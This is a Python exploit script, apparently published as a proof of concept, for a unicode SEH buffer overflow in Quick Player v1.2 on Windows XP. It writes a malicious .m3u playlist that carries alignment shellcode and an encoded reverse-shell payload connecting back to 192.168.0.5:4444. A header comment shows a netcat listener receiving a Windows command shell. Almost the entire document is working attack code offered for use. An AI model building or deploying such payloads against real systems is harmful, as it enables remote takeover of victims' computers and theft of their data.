#!/usr/bin/python
#
# Vulnerability : Quick Player v1.2 unicode buffer overflow exploit
# coded by : mr_me
# reference : http://www.exploit-db.com/exploits/10759 (corelanc0d3r)
# Tested on : XP SP3 En (VirtualBox)
# Greetz to : Corelan Security Team::corelanc0d3r/EdiStrosar/Rick2600/MarkoT
#
# mrme@backtrack:~$ nc -lvp 4444
# listening on [any] 4444 ...
# 192.168.0.4: inverse host lookup failed: Unknown server error : Connection timed out
# connect to [192.168.0.5] from (UNKNOWN) [192.168.0.4] 1144
# Microsoft Windows XP [Version 5.1.2600]
# (C) Copyright 1985-2001 Microsoft Corp.
#
# C:\>
#
# Note: We don't need a header. Enjoy :)
print "|------------------------------------------------------------------|"
print "| __ __ |"
print "| _________ ________ / /___ _____ / /____ ____ _____ ___ |"
print "| / ___/ __ \/ ___/ _ \/ / __ `/ __ \ / __/ _ \/ __ `/ __ `__ \ |"
print "| / /__/ /_/ / / / __/ / /_/ / / / / / /_/ __/ /_/ / / / / / / |"
print "| \___/\____/_/ \___/_/\__,_/_/ /_/ \__/\___/\__,_/_/ /_/ /_/ |"
print "|-------------------------------------------------- EIP Hunters ---|"
print "[+] Quick Player v1.2 unicode buffer overflow exploit"
junk = "\x41" * 536; # buffer offset
nseh = "\x41\x6d"; # bytes not affecting stack
seh = "\x41\x4d"; # pop pop ret (unicode)
popeax = "\x58"; # pop eax (current addr = 0x0012E270)
fill = "\x6d"; # venetian shellcode
addeax = "\x05\x03\x01"; # add eax, 1000300
filler = "\x6d"; # venetian shellcode
subeax = "\x2d\x01\x01" # sub eax, 1000100 (eax is now + 200)
morefiller = "\x6d"; # venetian shellcode
pusheax = "\x50"; # setup stack for shellcode
evenmorefiller = "\x6d"; # venetian shellcode
retn = "\xc3"; # retn to the stack and execute shell
morejunk = "\x44" * 239; # extra 200 bytes and 39 for address alignment
# reverse shell (192.168.0.5:4444)
reverseshell = ("PPYAIAIAIAIAQATAXAZAPA3QADAZ"
"ABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA"
"58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABABA"
"B30APB944JBKLQZZKPM9XJYKOKOKOC0DK2LMTO4TKOUOL"
"TKSLKURXKQZOTKPOLXDK1OMPKQJKQ9TKODTKKQJNP1Y0V"
"9FLSTWP2TKW7QXJLMKQWRJKL4OK0TMTMX2UIUTK1OO4KQ"
"ZKQVTKLLPK4K1OMLM1ZKLCNL4KU9RLO4MLQQGSNQYKS44"
"KOSNPTKOPLLTKRPMLFMDK10M81N2H4NPNLNZLPPKO9FQV"
"PSQVRHP3NRQXD73CNRQOPTKO8PRHXKJMKLOKPPKOHV1OS"
"YK5QVU1JMM8KRPU2JKRKOXPRH8YLIKEFMPWKOJ6QC0SR3"
"QCOSPS0C1CKO8PRHWPW8KPM5QVRHLQQL36R359YQTUBHJ"
"LZYEZQPPWKOIFRJLPPQQEKOXP36RJQTS62H332M1ZB01I"
"MY8LSYYWRJOT599RNQY0ZSFJF53YKMKN12NMKNQ2NLTM2"
"ZNXVKFKVKQXRRKN7CMFKO2UMXKO9FQK271B21PQ21BJKQ"
"PQB1QE0QKOXPQX6MHYKUHNB3KOYFQZKOKONWKOXPQXYW2"
"YI6T9KOSEM4KO9FKOBWKLKOZ02HL0SZLDQOR3KOZ6KOXP"
"LJA");
muhahaha = junk + nseh + seh + popeax + fill + addeax + filler;
muhahaha += subeax + morefiller + pusheax + evenmorefiller + retn;
muhahaha += morejunk + reverseshell;
try:
exploit = open('playme_in_quickplayer.m3u','w');
exploit.write(muhahaha);
print "[+] Generating playme_in_quickplayer.m3u"
print "[+] Done!"
exploit.close();
except:
print "[-] Cannot generate exploit file.. check your privileges"
